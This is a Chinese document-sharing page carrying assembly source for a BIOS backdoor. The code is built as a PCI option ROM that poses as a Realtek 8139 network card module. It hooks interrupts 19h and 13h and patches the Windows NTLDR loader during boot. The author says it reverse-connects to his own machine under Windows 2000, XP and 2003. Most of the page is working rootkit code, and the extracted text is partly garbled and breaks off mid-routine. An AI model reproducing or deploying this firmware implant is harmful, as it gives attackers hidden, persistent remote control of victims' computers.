BIOS中隐藏Telnet后门文档格式.docx
《BIOS中隐藏Telnet后门文档格式.docx》由会员分享,可在线阅读,更多相关《BIOS中隐藏Telnet后门文档格式.docx(16页珍藏版)》请在冰豆网上搜索。
相关的工具及相关的源代码会在以后整理发布.
以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!
调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装
win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.
**********************************************ROM_IMAGE_SIZE
equ4
;
整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST
equ0FFDF0800h
;
SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR
equ07FFE0800h
*****************************************************************************************************************************************RealCodesegmentuse16
Code16Start:
*****************************************************************************************************************************************
org
00h
####注意:
置代码开始地址以便于确定定置.####,****设置开始偏移:
000h****
dw
0AA55h
ROM头格式标识可以生气独立ROM.####,****标识开始偏移:
db
ROM_IMAGE_SIZE*2
ROM长度(单位:
512B,块)最小8块.####,****长度开始偏移:
002h****
jmp
MyROMCodeStart
修改ROM模拟跳转指令到这里执行####,****指令开始偏移:
003h****
06h
编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:
ReturnOldROM:
把数据放在头部以便于确定位置.####,****标识开始偏移:
006h****
0e9h,0,0
执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:
007h****
'
CHKSUM='
0
填写我们修改后的ROM数据检验和####,****数据偏移地址:
010h****
18h
编译成支持PCI设备的模块:
PCIROM固定大小4KB,其他参看"
PCI2.2规范"
教程
dd
34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;
硬件realtekPCI8139网卡
*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push
es
ds
sti
打开中断,以便接收键盘输入.
mov
cx,0ffffh
等待,约为两二秒的按键消息.
call
WaitPressScrollKey
.if
!
CARRY?
若按下ScrollLock键,不运行我们的程序.
xor
ax,ax
es,ax
eax,es:
[19h*4]
es:
[84h*4],eax
借用中断向量84H,保存中断向量19H.
bx,es:
[413h]
40:
13,BIOS数据区保存常规的内存大小,单位:
KBs.
and
bl,NOT3
注意:
要求分配的物理内存地址,以页作为基地址.
sub
bx,4
[413h],bx
shl
bx,(10-4)
bx*=1024/16(KBs->
线性地址=KBs*1024,段:
除以16)
es,bx
di,di
es:
di->
分配的实模式高端内存前半部分开始处.
cs
pop
ds
GetCurrentAddr
offsetCode16End=offsetCode32Start
GetCurrentAddr:
si
si->
GetCurrentAddr在内存的地址
dx,si
add
si,Code16End-GetCurrentAddr
ds:
Code16End保护模式代码段内存的地址.
cld
cx,((ROM_IMAGE_SIZE/2)*1024)/4
拷贝保护模式代码数据到分配内存的前半部分.
rep
movsd
bx,100h
0->
分配的实模式高端内存后半部分开始处.
si,dx
si,GetCurrentAddr-Code16Start
Code16Start实模式代码的内存的地址.
拷贝
实模式代码数据到分配内存的后半部分.
bx,bx
ds,bx
dx,NewINT19H-GetCurrentAddr
dx->
NewINT19H内存的地址
ds:
[19h*4],dx
[(19h*4)+2],es
设置成我们的INT19H服务代码
.endif
es
popad
popf
ReturnOldROM
跳转到原来的ROM代码的跳转处执行
retf
*****************************************************************************************************************************************WaitPressScrollKey:
函数入口:
CX=350约为10ms,函数延时:
33(us)
ax
.repeat
in
al,60h
.if
al==46h
ScrollLock键扫描码:
46h
stc
pop
ret
.endif
al,61h
test
al,010h
.continue.if
!
ZERO?
.repeat
al,10h
.until
dec
cx
.untilcx==0
clc
ret
*****************************************************************************************************************************************NewINT19H:
cli
eax
$
bochs调试1#.
es,ax
[84h*4]
[19h*4],eax
恢复中断向量19H值.
[13h*4]
[85h*4]!
=eax
[85h*4],eax
借用中断向量85H,保存中断向量13H.reservedforBASIC82h~85h
wordptres:
[13h*4],NewINT13H
设置NewINT13H在内存的地址.
[(13h*4)+2],cs
设置成我们的INT13H服务代码
eax
恢复现场
int
84h
调用旧的中断向量19H.
iret
*****************************************************************************************************************************************NewINT13H:
pushf
有指令要改变标志寄存器值.
test
ah,0bdh
是不是读数据到内存?
ah=02,ah=42h.
ZF=0
popf
85h
调用旧的中断向量13H.
iret
wordptrcs:
[INT13LASTFUNCTION],ax
85h
CARRY?
CF=1,读失败退出服务
$
bochs调试2#.可输入指令:
ucs:
ip+2.观察INT13LASTFUNCTION的值.
ax,00h
INT13LASTFUNCTIONEQU$-2
ah==42h
lodsw
lodsw
参看"
扩展INT13H规范"
[si+2]指传输块数.
les
bx,[si]
[si+04h]表示:
传输用的缓冲区内存地址.
al!
=00h
cx,cx
cl,al
mov
al,8Bh
设置搜索标志的第一个字节.
shl
cx,9
(CX*200h)搜索搜索计数.
di,bx
8BF085F67421803D:
MOVESI,EAXTESTESI,ESIJZ$+23hCMPBYTEPTR[ofs32],imm8
cld
NTLDROSLoder模块里的6字节做为标志,进行HOOK.注意:
选择HOOK位置很关键!
.while
1
repne
scasb
.break
dwordptres:
[di]!
=74F685F0h
wordptres:
[di+4]!
=8021h
(es:
di-1)->
我们想被HOOK的指令代码开始处.
byteptres:
[di-8],0ebh
jmp$指令十六进制值0xebfe,设置在NTLDR暂停.
[di-7],0feh